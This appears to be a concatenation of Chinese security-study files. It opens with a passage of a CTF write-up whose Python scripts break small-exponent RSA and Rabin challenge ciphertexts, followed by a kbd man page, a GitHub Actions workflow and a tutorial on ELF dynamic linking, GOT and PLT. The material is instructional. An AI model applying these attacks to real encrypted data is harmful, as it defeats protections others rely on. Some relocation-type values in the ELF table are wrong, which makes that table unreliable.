MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEAsL7l4+nlp+jQC0kzVcYY /Ix9fQO4LkCZUcGC85je4xBFgOe6cNODrlMRR1ZW6Klk04DLFX9IyVGt+mXbCxIs pA5C+nCRibcZpPDXRuL2BpuvEc69ZQ8UuTyXc1L9E7Huptbh2ndVAqv/idOos2Ff 0NtJuIqXa8IFaEiShOGB9vEeJwiRyO+AAXutI442MDmkWEcPF0kQG8KZSdOk9AON Rjk4hRV5x1JaaZhPFbVmfzQgm3DrJhE2lH+hI+VJ3/8AYBiDr9k2/kEeAG5Ok9Gg Cw/qVBu/yMUYbLYiBQOpSyQTEQ1kDHfqVLoyIPyPTMbOdxUeKbPgZXjEeL0b6+BF ie+aGX9vgG24s+zYJsrST1MkzN7G6P6tLCFQBoYCyNzcWUAsyslCS3kASMzdkycG gJXvoBC38ZbHS6jDexKPnhQRdRYz94t7nlb3H3ehtNqtP8VLXn75NdmnL7F2dZdl UitLvALjFNXAa2TVBUt7CWxgEjbmzPRbXmEcgF0zXbqww10ibMII2M5HNro5oDVE JvrgBsf+UtUmfc+5w4hPUf3f30qXlLz+DhVXETdJ5sjvQh26Jjr/aHOc4A7YD9AC LvktNIj3betive976mAm8iodJaoqktEkQUqAIf4MF0uYA+a7X6114YapRqFygHcP EkP0OHRGzM6yIiqWXMMLOSkCAQM= -----END PUBLIC KEY----- ``` 看到 $e=3$,很明显是小公钥指数攻击了。这里我们使用 Crypto 库来读取公钥,使用 multiprocessing 来加快破解速度。 ```python #/usr/bin/python # coding=utf-8 import gmpy2 from Crypto.PublicKey import RSA from multiprocessing import Pool pool = Pool(4) with open('./pubkey.pem', 'r') as f: key = RSA.importKey(f) N = key.n e = key.e with open('flag.enc', 'r') as f: cipher = f.read().encode('hex') cipher = int(cipher, 16) def calc(j): print j a, b = gmpy2.iroot(cipher + j * N, 3) if b == 1: m = a print '{:x}'.format(int(m)).decode('hex') pool.terminate() exit() def SmallE(): inputs = range(0, 130000000) pool.map(calc, inputs) pool.close() pool.join() if __name__ == '__main__': print 'start' SmallE() ``` 爆破时间有点长,,拿到 flag ``` Didn't you know RSA padding is really important? Now you see a non-padding message is so dangerous. And you should notice this in future.Fl4g: flag{Sm4ll_3xpon3nt_i5_W3ak} ``` ### RSA 衍生Rabin 算法攻击条件 Rabin 算法的特征在于 $e=2$。 ### RSA 衍生Rabin 算法攻击原理 密文: $$ c = m^2\bmod n $$ 解密: - 计算出 $m_p$ 和 $m_q$: $$ \begin{align*} m_p &= \sqrt{c} \bmod p\\ m_q &= \sqrt{c} \bmod q \end{align*} $$ - 用扩展欧几里得计算出 $y_p$ 和 $y_q$: $$ y_p \cdot p + y_q \cdot q = 1 $$ - 解出四个明文: $$ \begin{align*} a &= (y_p \cdot p \cdot m_q + y_q \cdot q \cdot m_p) \bmod n\\ b &= n - a\\ c &= (y_p \cdot p \cdot m_q - y_q \cdot q \cdot m_p) \bmod n\\ d &= n - c \end{align*} $$ 注意:如果 $p \equiv q \equiv 3 \pmod 4$,则 $$ \begin{align*} m_p &= c^{\frac{1}{4}(p + 1)} \bmod p\\ m_q &= c^{\frac{1}{4}(q + 1)} \bmod q \end{align*} $$ 而一般情况下,$p \equiv q \equiv 3 \pmod 4$ 是满足的,对于不满足的情况下,请参考相应的算法解决。 ### RSA 衍生Rabin 算法例子 这里我们以 XMan 一期夏令营课堂练习(Jarvis OJ 有复现)为例,读一下公钥。 ```bash ➜ Jarvis OJ-hard RSA git:(master) ✗ openssl rsa -pubin -in pubkey.pem -text -modulus Public-Key: (256 bit) Modulus: 00:c2:63:6a:e5:c3:d8:e4:3f:fb:97:ab:09:02:8f: 1a:ac:6c:0b:f6:cd:3d:70:eb:ca:28:1b:ff:e9:7f: be:30:dd Exponent: 2 (0x2) Modulus=C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD writing RSA key -----BEGIN PUBLIC KEY----- MDowDQYJKoZIhvcNAQEBBQADKQAwJgIhAMJjauXD2OQ/+5erCQKPGqxsC/bNPXDr yigb/+l/vjDdAgEC -----END PUBLIC KEY----- ``` $e=2$,考虑 Rabin 算法。首先我们先分解一下 p 和 q,得到 ```text p=275127860351348928173285174381581152299 q=319576316814478949870590164193048041239 ``` 编写代码 ```python #!/usr/bin/python # coding=utf-8 import gmpy2 import string from Crypto.PublicKey import RSA # 读取公钥参数 with open('pubkey.pem', 'r') as f: key = RSA.importKey(f) N = key.n e = key.e with open('flag.enc', 'r') as f: cipher = f.read().encode('hex') cipher = string.atoi(cipher, base=16) # print cipher print "please input p" p = int(raw_input(), 10) print 'please input q' q = int(raw_input(), 10) # 计算yp和yq inv_p = gmpy2.invert(p, q) inv_q = gmpy2.invert(q, p) # 计算mp和mq mp = pow(cipher, (p + 1) / 4, p) mq = pow(cipher, (q + 1) / 4, q) # 计算a,b,c,d a = (inv_p * p * mq + inv_q * q * mp) % N b = N - int(a) c = (inv_p * p * mq - inv_q * q * mp) % N d = N - int(c) for i in (a, b, c, d): s = '%x' % i if len(s) % 2 != 0: s = '0' + s print s.decode('hex') ``` 拿到 flag,`PCTF{sp3ci4l_rsa}`。
sec-knowleage
.\" @(#)unicode_start.1 1.0 010203 aeb .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH UNICODE_START 1 2001年2月3日 kbd .SH 名称 unicode_start \- 将键盘和控制台设为 unicode 模式 .SH 概述 \fBunicode_start\fP [\fI字体\fP [\fIumap\fP]] .SH 描述 .LP \fBunicode_start\fP 命令会将键盘和控制台设为 Unicode(UTF\-8)模式。 .LP 对键盘来说,这意味着用户可以使用 \fBloadkeys\fP(1) 将16位 U+xxxx 的值附加在键盘的按键上,并令其成为用户程序的 UTF\-8 输入。同时,用户可以使用小键盘键入十六进制的 Alt\-xxxx 字符,并同样产生 UTF\-8 输入效果。 .LP 对控制台来说,这意味着内核期望从用户程序得到 UTF\-8 输出,并相应地显示这些输出。 .LP 指定的 \fI字体\fP 参数是加载的字体。它应当含有内置的 Unicode 映射表;如果没有,应当使用第二个参数显式指定映射表。如果未指定字体,则维持使用原字体。 .SH 备注 Unicode 模式是每个虚拟控制台对应一个值的参数。然而,通常情况下字体和键盘映射对全部控制台均通用。 .SH 参见 \fBdumpkeys\fP(1), \fBkbd_mode\fP(1), \fBloadkeys\fP(1), \fBunicode_stop\fP(1), \fButf\-8\fP(7), \fBsetfont\fP(8)
sec-knowleage
name: Preview Site Wrapper # Controls when the action will run. on: # Triggers the workflow on pull request events but only for the master branch pull_request: branches: [ master ] types: [opened, synchronize, edited, reopened] # A workflow run is made up of one or more jobs that can run sequentially or in parallel jobs: # This workflow contains a single job called "build-for-netlify" triger-previewing-site: # The type of runner that the job will run on runs-on: ubuntu-latest # Steps represent a sequence of tasks that will be executed as part of the job steps: # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - name: Checkout uses: actions/checkout@v2.3.1 # If you're using actions/checkout@v2 you must set persist-credentials to false in most cases for the deployment to work correctly. with: persist-credentials: false - name: Set up Python uses: actions/setup-python@v2 with: python-version: '3.8' - name: Install requirements run: python3.8 -m pip install -r requirements.txt - name: Install Material Insiders if: github.event.pull_request.head.repo.fork == false run: python3.8 -m pip install git+https://${{ secrets.ACCESS_TOKEN }}@github.com/iromise/mkdocs-material-insiders.git - name: Build Docs run: python3.8 ./scripts/docs.py build-all - name: Zip Site run: bash ./scripts/zip-site.sh - uses: actions/upload-artifact@v2 with: name: site-zip path: ./site.zip - name: Triger Inner workflow run: echo "triger inner workflow"
sec-knowleage
# Dynamic Sections ## .interp 这个节包含了程序对应的解释器。 参与动态链接的可执行文件会具有一个 PT_INTERP 类型的程序头元素,以便于来加载程序中的段。在 exec (BA_OS) 过程中,系统会从该节中提取解释器的路径,并根据解释器文件的段创建初始时的程序镜像。也就是说,系统并不使用给定的可执行文件的镜像,而会首先为解释器构造独立的内存镜像。因此,解释器需要从系统处获取控制权,然后为应用程序提供执行环境。 解释器可能有两种方式获取控制权。 1. 它可以接收一个指向文件头的文件描述符,以便于读取可执行文件。它可以使用这个文件描述符来读取并将可执行文件的段映射到内存中。 2. 有时候根据可执行文件格式的不同,系统有可能不会把文件描述符给解释器,而是会直接将可执行文件加载到内存中。 解释器本身可能不需要再有一个解释器。解释器本身可能是一个共享目标文件或者是一个可执行文件。 - 共享目标文件(正常情况下)被加载为地址独立的。也就是说,对于不同的进程来说,它的地址会有所不同。系统通过 mmap (KE_OS) 以及一些相关的操作来创建动态段中的内容。因此,共享目标文件的地址通常来说不会和原来的可执行文件的原有地址冲突。 - 可执行文件一般会被加载到固定的地址。系统通过程序头部表的虚拟地址来创建对应的段。因此,一个可执行文件的解释器的虚拟地址可能和第一个可执行文件冲突。解释器有责任来解决相应的冲突。 ## .dynamic 如果一个目标文件参与到动态链接的过程中,那么它的程序头部表将会包含一个类型为 PT_DYNAMIC 的元素。这个段包含了 .dynamic 节。ELF 使用 _DYNAMIC 符号来标记这个节。它的结构如下 ```c /* Dynamic section entry. */ typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; extern Elf32_Dyn_DYNAMIC[]; ``` 其中,d_tag 的取值决定了该如何解释 d_un。 - d_val - 这个字段表示一个整数值,可以有多种意思。 - d_ptr - 这个字段表示程序的虚拟地址。正如之前所说的,一个文件的虚拟地址在执行的过程中可能和内存的虚拟地址不匹配。当解析动态节中的地址时,动态链接器会根据原始文件的值以及内存的基地址来计算真正的地址。为了保持一致性,文件中并不会包含重定位入口来"纠正"动态结构中的地址。 可以看出,其实这个节是由若干个键值对构成的。 **下表总结了可执行文件以及共享目标文件中的 d_tag 的需求**。如果一个 tag 被标记为"mandatory",那么对于一个 TIS ELF conforming 的文件来说,其动态链接数组必须包含对应入口的类型。同样的,“optional”意味着可以有,也可以有没有。 | 名称 | 数值 | d_un | 可执行 | 共享 目标 | 说明 | | --------------------- | ---------------------- | ------ | ------ | --------- | ------------------------------------------------------------ | | DT_NULL | 0 | 忽略 | 必需 | 必需 | 标志着 _DYNAMIC 数组的末端。 | | DT_NEEDED | 1 | d_val | 可选 | 可选 | 包含以NULL 结尾的字符串的字符串表偏移,该字符串给出某个需要的库的名称。所使用的索引为DT_STRTAB的下标。动态数组中可以包含很多个这种类型的标记。这些项在这种类型标记中的相对顺序比较重要。但是与其它的标记之前的顺序倒无所谓。对应的段为.gnu.version_r。 | | DT_PLTRELSZ | 2 | d_val | 可选 | 可选 | 给出与过程链接表相关的重定位项的总的大小。如果存在DT_JMPREL类型的项,那么DT_PLTRELSZ也必须存在。 | | DT_PLTGOT | 3 | d_ptr | 可选 | 可选 | 给出与过程链接表或者全局偏移表相关联的地址,对应的段.got.plt | | DT_HASH | 4 | d_ptr | 必需 | 必需 | 此类型表项包含符号哈希表的地址。此哈希表指的是被 DT_SYMTAB 引用的符号表。 | | DT_STRTAB | 5 | d_ptr | 必需 | 必需 | 此类型表项包含动态字符串表的地址。符号名、库名、和其它字符串都包含在此表中。对应的节的名字应该是.dynstr。 | | DT_SYMTAB | 6 | d_ptr | 必需 | 必需 | 此类型表项包含动态符号表的地址。对 32 位的文件而言,这个符号表中的条目的类型为 Elf32_Sym。 | | DT_RELA | 7 | d_ptr | 必需 | 可选 | 此类型表项包含重定位表的地址。此表中的元素包含显式的补齐,例如 32 位文件中的 Elf32_Rela。目标文件可能有多个重定位节区。在为可执行文件或者共享目标文件创建重定位表时,链接编辑器将这些节区连接起来,形成一个表。尽管在目标文件中这些节区相互独立,但是动态链接器把它们视为一个表。在动态链接器为可执行文件创建进程映像或者向一个进程映像中添加某个共享目标时,要读取重定位表并执行相关的动作。如果此元素存在,动态结构体中也必须包含 DT_RELASZ 和 DT_RELAENT 元素。如果对于某个文件来说,重定位是必需的话,那么 DT_RELA 或者 DT_REL 都可能存在。 | | DT_RELASZ | 8 | d_val | 必需 | 可选 | 此类型表项包含 DT_RELA 重定位表的总字节大小。 | | DT_RELAENT | 9 | d_val | 必需 | 可选 | 此类型表项包含 DT_RELA 重定位项的字节大小。 | | DT_STRSZ | 10 | d_val | 必需 | 必需 | 此类型表项给出字符串表的字节大小,按字节数计算。 | | DT_SYMENT | 11 | d_val | 必需 | 必需 | 此类型表项给出符号表项的字节大小。 | | DT_INIT | 12 | d_ptr | 可选 | 可选 | 此类型表项给出初始化函数的地址。 | | DT_FINI | 13 | d_ptr | 可选 | 可选 | 此类型表项给出结束函数(Termination Function)的地址。 | | DT_SONAME | 14 | d_val | 忽略 | 可选 | 此类型表项给出一个以 NULL 结尾的字符串的字符串表偏移,对应的字符串是某个共享目标的名称。该偏移实际上是 DT_STRTAB 中的索引。 | | DT_RPATH | 15 | d_val | 可选 | 忽略 | 此类型表项包含以 NULL 结尾的字符串的字符串表偏移,对应的字符串是搜索库时使用的搜索路径。该偏移实际上是 DT_STRTAB 中的索引。 | | DT_SYMBOLIC | 16 | 忽略 | 忽略 | 可选 | 如果这种类型表项出现在共享目标库中,那么这将会改变动态链接器的符号解析算法。动态连接器将首先选择从共享目标文件本身开始搜索符号,只有在搜索失败时,才会选择从可执行文件中搜索相应的符号。 | | DT_REL | 17 | d_ptr | 必需 | 可选 | 此类型表项与 DT_RELA类型的表项类似,只是其表格中包含隐式的补齐,对 32 位文件而言,就是 Elf32_Rel。如果ELF文件中包含此元素,那么动态结构中也必须包含 DT_RELSZ 和 DT_RELENT 类型的元素。 | | DT_RELSZ | 18 | d_val | 必需 | 可选 | 此类型表项包含 DT_REL 重定位表的总字节大小。 | | DT_RELENT | 19 | d_val | 必需 | 可选 | 此类型表项包含 DT_REL 重定位项的字节大小。 | | DT_PLTREL | 20 | d_val | 可选 | 可选 | 此类型表项给出过程链接表所引用的重定位项的地址。根据具体情况, d_val 对应的地址可能包含 DT_REL 或者 DT_RELA。过程链接表中的所有重定位都必须采用相同的重定位方式。 | | DT_DEBUG | 21 | d_ptr | 可选 | 忽略 | 此类型表项用于调试。ABI 未规定其内容,访问这些条目的程序可能与 ABI 不兼容。 | | DT_TEXTREL | 22 | 忽略 | 可选 | 可选 | 如果文件中不包含此类型的表项,则表示没有任何重定位表项能够造成对不可写段的修改。如果存在的话,则可能存在若干重定位项请求对不可写段进行修改,因此,动态链接器可以做相应的准备。 | | DT_JMPREL | 23 | d_ptr | 可选 | 可选 | 该类型的条目的 d_ptr 成员包含了过程链接表的地址,并且索引时应该会把该地址强制转换为对应的重定位表项类型的指针。把重定位表项分开有利于让动态链接器在进程初始化时忽略它们(开启了延迟绑定)。如果存在此成员,相关的 DT_PLTRELSZ 和 DT_PLTREL 必须也存在。 | | DT_BIND_NOW | 24 | 忽略 | 可选 | 可选 | 如果可执行文件或者共享目标文件中存在此类型的表项的话,动态链接器在将控制权转交给程序前,应该将该文件的所有需要重定位的地址都进行重定位。这个表项的优先权高于延迟绑定,可以通过环境变量或者dlopen(BA_LIB)来设置。 | | DT_LOPROC ~DT_HIPROC | 0x70000000 ~0x7fffffff | 未指定 | 未指定 | 未指定 | 这个范围的表项是保留给处理器特定的语义的。 | 没有出现在此表中的标记值是保留的。此外,除了数组末尾的 DT_NULL 元素以及 DT_NEEDED 元素的相对顺序约束以外, 其他表项可以以任意顺序出现。 ## Global Offset Table GOT 表在 ELF 文件中分为两个部分 - .got,存储导入变量的地址。 - .got.plt,存储导入函数的地址。 通常来说,地址独立代码不能包含绝对虚拟地址。GOT 表中包含了隐藏的绝对地址,这使得在不违背位置无关性以及程序代码段共享的情况下,得到相关符号的绝对地址。一个程序可以使用位置独立代码来引用它的 GOT 表,然后提取出来绝对的数值,以便于将位置独立的引用重定向到绝对的地址。 初始时,got 表中包含重定向所需要的信息。当一个系统为可加载的目标文件创建内存段时,动态链接器会处理重定位项,其中的一些项的类型可能是 R_386_GLOB_DAT,这会指向 got 表。动态链接器会决定相关符号的值,计算它们的绝对地址,然后将合适的内存表项设置为相应的值。尽管在链接器建立目标文件时,绝对地址还处于未知状态,动态链接器知道所有内存段的地址,因为可以计算所包含的符号的绝对地址。 如果一个程序需要直接访问一个符号的绝对地址,那么这个符号将会有一个 got 表项。由于可执行文件以及共享目标文件都有单独的表项,所以一个符号的地址可能会出现在多个表中。动态链接器在把权限给到进程镜像中的代码段前,会处理所有的 got 表中的重定位项,以便于确保所有的绝对地址在执行过程中是可以访问的。 GOT 表中的第 0 项包含动态结构(_DYNAMIC)的地址。这使得一个程序,例如动态链接器,在没有执行其重定向前可以找到对应的动态节。这对于动态链接器来说是非常重要的,因为它必须在不依赖其它程序的情况下可以重定位自己的内存镜像。 在不同的程序中,系统可能会为同一共享目标文件选择不同的内存段地址;甚至对于同一个程序,在不同的执行过程中,也会有不同的库地址。然而,一旦进程镜像被建立,内存段的地址就不会再改变,只要一个进程还存在,它的内存段地址将处于固定的位置。 GOT 表的形式以及解释依赖于具体的处理器,对于 Intel 架构来说,`_GLOBAL_OFFSET_TABLE_` 符号可能被用来访问这个表。 ``` extern Elf32_Addr _GLOBAL_OFFSET_TABLE[]; ``` `_GLOBAL_OFFSET_TABLE_`可能会在 .got 节的中间,以便于可以使用正负索引来访问这个表。 在 Linux 的实现中,.got.plt 的前三项的具体的含义如下 - GOT[0],.dynamic 的地址。 - GOT[1],指向 link_map 的指针,只会在动态装载器中使用,包含了进行符号解析需要的当前 ELF 对象的信息。每个 link_map 都是一条双向链表的一个节点,而这个链表保存了所有加载的 ELF 对象的信息。 - GOT[2],指向动态装载器中 _dl_runtime_resolve 函数的指针。 .got.plt 后面的项则是程序中不同 .so 中函数的引用地址。下面给出一个相应的关系。 ## Procedure Linkage Table PLT 表将导入函数重定向到绝对地址。主要包括两部分 - **.plt**,与常见导入的函数有关,如 read 等函数。 - **.plt.got**,与动态链接有关系。 准确的说,plt 表不是查询表,而是一块代码。这一块内容是与代码相关的。 在动态链接下,程序模块之间包含了大量的函数引用。如果在程序开始执行前就把所有的函数地址都解析好,动态链接就会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位。但是,在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,因此一开始就把所有函数都链接好可能会浪费大量资源,所以 ELF 采用了一种延迟绑定的做法,其基本思想是函数第一次被用到时才进行绑定(符号查找,重定位等),如果没有用则不进行绑定。所以程序开始执行前,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器负责绑定。 在惰性绑定的情况下,总体流程如下图所示,蓝线表示首次执行的流程图,红线表示第二次以后调用的流程图: LD_BIND_NOW 环境变量可以改变动态链接器的行为。如果它的值非空的话,动态链接器在将控制权交给程序之前会执行 PLT 表项。也就是说,动态链接器在进程初始化过程中执行类型为 R\_3862\_JMP_SLOT 的重定位表项。否则的话,动态链接表会对过程链接表项进行延迟绑定,直到第一次执行对应的表项时,才会今次那个符号解析以及重定位。 注意 > 惰性绑定通常来说会提高应用程序的性能,因为没有使用的符号并不会增加动态链接的负载。然而,有以下两种情况将会使得惰性绑定出现未预期的情况。首先,对于一个共享目标文件的函数的初始引用一般来说会超过后续调用的时间,因为动态链接器需要拦截调用以便于去解析符号。一些应用并不能够忍受这种不可预测性。其次,如果发生了错误,并且动态链接器不能够解析符号。动态链接器将会终止程序。在惰性绑定的情况下,这种情况可能随时发生。当关闭了惰性绑定的话,动态链接器在进程初始化的过程中就不会出现相应的错误,因为这些都是在应用获得控制权之前执行的。 链接编辑器不能够解析执行流转换(比如函数调用),即从一个可执行文件或者共享目标文件到另一个文件。链接器安排程序将控制权交给过程链接表中的表项。在 Intel 架构中,过程链接表存在于共享代码段中,但是他们会使用在 GOT 表中的数据。动态链接器会决定目标的绝对地址,并且会修改相应的 GOT 表中的内存镜像。因此,动态链接器可以在不违背位置独立以及程序代码段兼容的情况下,重定向 PLT 项。可执行文件和共享目标文件都有独立的 PLT 表。 绝对地址的过程链接表如下 ```assembly .PLT0: pushl got_plus_4 jmp *got_plus_8 nop; nop nop; nop .PLT1: jmp *name1_in_GOT pushl $offset@PC jmp .PLT0@PC .PLT2: jmp *name2_in_GOT push $offset jmp .PLT0@PC ... ``` 位置无关的过程链接表的地址如下 ```assembly .PLT0: pushl 4(%ebx) jmp *8(%ebx) nop; nop nop; nop .PLT1: jmp *name1_in_GOT(%ebx) pushl $offset jmp .PLT0@PC .PLT2: jmp *name2_in_GOT(%ebx) push $offset jmp .PLT0@PC ... ``` 可以看出过程链接表针对于绝对地址以及位置独立的代码的处理不同。但是动态链接器处理它们时,所使用的接口是一样的。 动态链接器和程序按照如下方式解析过程链接表和全局偏移表的符号引用。 1. 当第一次建立程序的内存镜像时,动态链接器将 GOT 表的第二个和第三个项设置为特殊的值,下面的步骤会仔细解释这些数值。 2. 如果过程链接表是位置独立的话,那么 GOT 表的地址必须在 ebx 寄存器中。每一个进程镜像中的共享目标文件都有独立的 PLT 表,并且程序只在同一个目标文件将控制流交给 PLT 表项。因此,调用函数负责在调用 PLT表项之前,将全局偏移表的基地址设置为寄存器中。 3. 这里举个例子,假设程序调用了name1,它将控制权交给了 lable .PLT1。 4. 那么,第一条指令将会跳转到全局偏移表中 name1 的地址。初始时,全局偏移表中包含 PLT 中下一条 pushl 指令的地址,并不是 name1 的实际地址。 5. 因此,程序将相应函数在 `rel.plt` 中的偏移(重定位偏移,reloc_index)压到栈上。重定位偏移是 32 位的,并且是非负的数值。此外,重定位表项的类型为 R\_386\_JMP_SLOT,并且它将会说明在之前 jmp 指令中使用的全局偏移表项在 GOT 表中的偏移。重定位表项也包含了一个符号表索引,因此告诉动态链接器什么符号目前正在被引用。在这个例子中,就是 name1了。 6. 在压入重定位偏移后,程序会跳转到 .PLT0,这是过程链接表的第一个表项。pushl 指令将 GOT 表的第二个表项(got_plus_4 或者4(%ebx),**当前ELF对象的信息**)压到栈上,然后给动态链接器一个识别信息。此后,程序会跳转到第三个全局偏移表项(got_plus\_8 或者8(%ebx),**指向动态装载器中 `_dl_runtime_resolve` 函数的指针**) 处,这将会将程序流交给动态链接器。 7. 当动态链接器接收到控制权后,他将会进行出栈操作,查看重定位表项,解析出对应的符号的值,然后将 name1 的地址写入到全局偏移表项中,最后将控制权交给目的地址。 8. 过程链接表执行之后,程序的控制权将会直接交给 name1 函数,而且此后再也不会调用动态链接器来解析这个函数。也就是说,在 .PLT1 处的 jmp 指令将会直接跳转到 name1 处,而不是再次执行 pushl 指令。 ## .rel(a).dyn & .rel(a).plt .rel.dyn 包含了动态链接的二进制文件中需要重定位的变量的信息,而 .rel.plt 包含了需要重定位的函数的信息。这两类重定位节都使用如下的结构(以 32 位为例) ``` typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; Elf32_Sword r_addend; } Elf32_Rela; ``` Elf32_Rela 类型的表项包含明确的补齐信息。 Elf32_Rel 类型的表项在将被修改的位置保存隐式的补齐信息。由于处理器体系结构的原因,这两种形式都存在,甚至是必需的。因此,对特定机器的实现可以仅使用一种形式,也可以根据上下文使用两种形式。 其中,每个字段的说明如下 | 成员 | 说明 | | -------- | ------------------------------------------------------------ | | r_offset | **此成员给出了需要重定位的位置。**对于一个可重定位文件而言,此值是从需要重定位的符号所在节区头部开始到将被重定位的位置之间的字节偏移。对于可执行文件或者共享目标文件而言,其取值是需要重定位的**虚拟地址**,一般而言,也就是说我们所说的 GOT 表的地址。 | | r_info | **此成员给出需要重定位的符号的符号表索引,以及相应的重定位类型。** 例如一个调用指令的重定位项将包含被调用函数的符号表索引。如果索引是 STN_UNDEF,那么重定位使用 0 作为“符号值”。此外,重定位类型是和处理器相关的。 | | r_addend | 此成员给出一个常量补齐,用来计算将被填充到可重定位字段的数值。 | 关于 r_info 更加具体的字段信息如下面的代码所示 - r_info 的高三个字节对应的值表示这个动态符号在 `.dynsym` 符号表中的位置 - r_info 的最低字节表示的是重定位类型类型 ```c #define ELF32_R_SYM(i) ((i)>>8) #define ELF32_R_TYPE(i) ((unsigned char)(i)) // 用于构造 r_info #define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t)) ``` 重定位节区会引用两个其它节区:**符号表、要修改的节区**。节区头部的 sh_info 和 sh_link 成员给出相应的关系。 这里,我们具体讨论可能的重定位类型。在下面的计算中,我们假设是把一个可重定位文件转换为可执行文件或者共享目标文件。从概念上讲,链接器会把一个或者多个可重定位文件合并起来得到输出文件。它首先要决定如何结合并放置这些输入文件,然后更新符号表的值,最后才进行重定位。可执行文件或者共享目标文件的重定位方法是相似的,并且结果几乎一样。在后面的描述中我们将会采用如下记号。 - A(addend) 用来计算可重定位字段的取值的补齐。 - B(base) 表示共享目标文件在执行过程中被加载到内存中的基地址。一般来说,共享目标文件的虚拟基地址为 0,但是在执行时,其地址却会发生改变。 - G(Global) 表示在执行时重定位项的符号在全局偏移表中的偏移。 - GOT (global offset table) 表示全局偏移表(GOT)的地址。 - L (linkage) 表示过程链接表项中一个符号的节区偏移或者地址。过程链接表项会把函数调用重定位到正确的目标位置。链接编辑器会构造初始的过程链接表,然后动态链接器在执行过程中会修改这些项目。 - P (place) 表示被重定位(用 r_offset 计算)的存储单元的位置(节区偏移或者地址)。 - S (symbol) 表示索引位于重定位项中的符号的取值。 重定位项的 r_offset 取值为受影响的存储单元的第一个字节的偏移或者虚拟地址。重定位类型给出需要修改的比特位以及如何计算它们的值。其中,Intel 架构只使用 ELF32_REL 重定位表项,将要被重定位的成员保留对应的补齐数值。在所有的情况下,补齐的数值与计算的结果使用相同的字节序。 重定位类型以及部分含义如下 | 名称 | 值 | 域 | 计算 | 含义 | | -------------- | ---- | ------ | ----------- | ------------------------------------------------------------ | | R_386_NONE | 0 | 无 | 无 | | | R_386_32 | 1 | word32 | S + A | | | R_386_PC32 | 1 | word32 | S + A - P | | | R_386_GOT32 | 1 | word32 | G + A - P | 该重定位类型计算从全局偏移表基址到符号的全局偏移表项的距离。另外,它还命令链接器创建一个全局偏移表。 | | R_386_PLT32 | 1 | word32 | L + A - P | 该重定位类型计算符号的过程链接表项地址。另外,它还命令链接器创建一个过程链接表。 | | R_386_COPY | 5 | 无 | 无 | 该重定位类型由链接器为动态链接过程创建。它的偏移项指向可写段中的位置。符号表规定这种符号应既存在于当前目标文件又该存在于共享目标文件中。在执行过程中,动态链接器将与该共享目标符号相关的数据复制到由上述偏移量指定的位置。 | | R_386_GLOB_DAT | 6 | word32 | S | 该重定位类型用于把一个全局偏移表中的符号设置为指定符号的地址。这个特殊的重定位类型允许确定符号和全局偏移表项之间的关系。 | | R_386_JMP_SLOT | 7 | word32 | S | 该重定位类型由链接器为动态链接过程创建。它的偏移项给出了相应过程链接表项的位置。动态链接器修改过程链接表,从而把程序控制权转移到上述指出的符号地址。 | | R_386_RELATIVE | 8 | word32 | B + A | 该重定位类型由链接器为动态链接过程创建。它的偏移项给出了共享目标中的一个包含了某个代表相对地址的值的位置。动态链接器通过把共享目标文件装载到的虚拟地址与上述相对地址相加来计算对应虚拟地址。这种类型的重定位项设置符号表索引为0。 | | R_386_GOTOFF | 9 | word32 | S + A - GOT | 该重定位类型计算符号值与全局偏移表地址之间的差。此外,它还通知链接器创建一个全局偏移表。 | | R_386_GOTPC | 10 | word32 | S + A - P | 该重定位类型与`R_386_PC32` 类似,只不过它在计算时使用全局偏移表的地址。正常情况下,该重定位表项中被引用的符号是`_GLOBAL_OFFSET_TABLE_` ,它会命令链接器创建一个全局偏移表。 | ## .dynsym 动态链接的 ELF 文件具有专门的动态符号表,其使用的结构也是 Elf32_Sym,但是其存储的节为 .dynsym。这里再次给出 Elf32_Sym 的结构 ```c typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; ``` 需要注意的是 `.dynsym` 是运行时所需的,ELF 文件中 export/import 的符号信息全在这里。但是,`.symtab` 节中存储的信息是编译时的符号信息,它们在 `strip` 之后会被删除掉。 我们主要关注动态符号中的两个成员 - st_name,该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。 - st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。 动态符号与指向它的 Elf_Verdef 之间的关联性保存在 `.gnu.version` 节中。这个节是由 Elf_Verneed 结构体构成的数组。其中,每个表项对应动态符号表的一项。其实,这个结构体就只有一个域:那就是一个 16 位的整数,表示在 `.gnu.verion_r` 段中的下标。 除此之外,动态链接器使用 Elf_Rel 结构体成员 r_info 中的下标同时作为 .dynsym 段和 .gnu.version 段的下标。这样就可以一一对应到每一个符号到底是那个版本的了。 ## .dynstr 这个节包含了动态链接所需要的字符串。 ## Misc ### version releated sections ELF 文件不仅可以导入外部的符号,而且还可以导入指定版本的符号。例如,当我们可以从 GLIBC_2.2.5 中导入其中的一些标准库函数,比如 printf。其中,.gnu.version_r 保存了版本的定义,对应的结构体是 Elf_Verdef。 #### .gnu.version 该节与 .dynsym 中的符号信息一一对应,即两者的元素个数一样。.gnu.version 中每一个元素的类型是 `Elfxx_Half`,指定了对应符号的版本信息。`Elfxx_Half` 中有两个值是保留的 - 0,表示这个符号是本地的,对外不公开。下面的`__gmon_start__` 就是一个本地符号。 - 1,表示这个符号在当前这个目标文件中定义,并且是全局可以访问的。下面的 `_IO_stdin_used` 就是一个全局符号。 ```assembly LOAD:080482D8 ; ELF GNU Symbol Version Table LOAD:080482D8 dw 0 LOAD:080482DA dw 2 ; setbuf@@GLIBC_2.0 LOAD:080482DC dw 2 ; read@@GLIBC_2.0 LOAD:080482DE dw 0 ; local symbol: __gmon_start__ 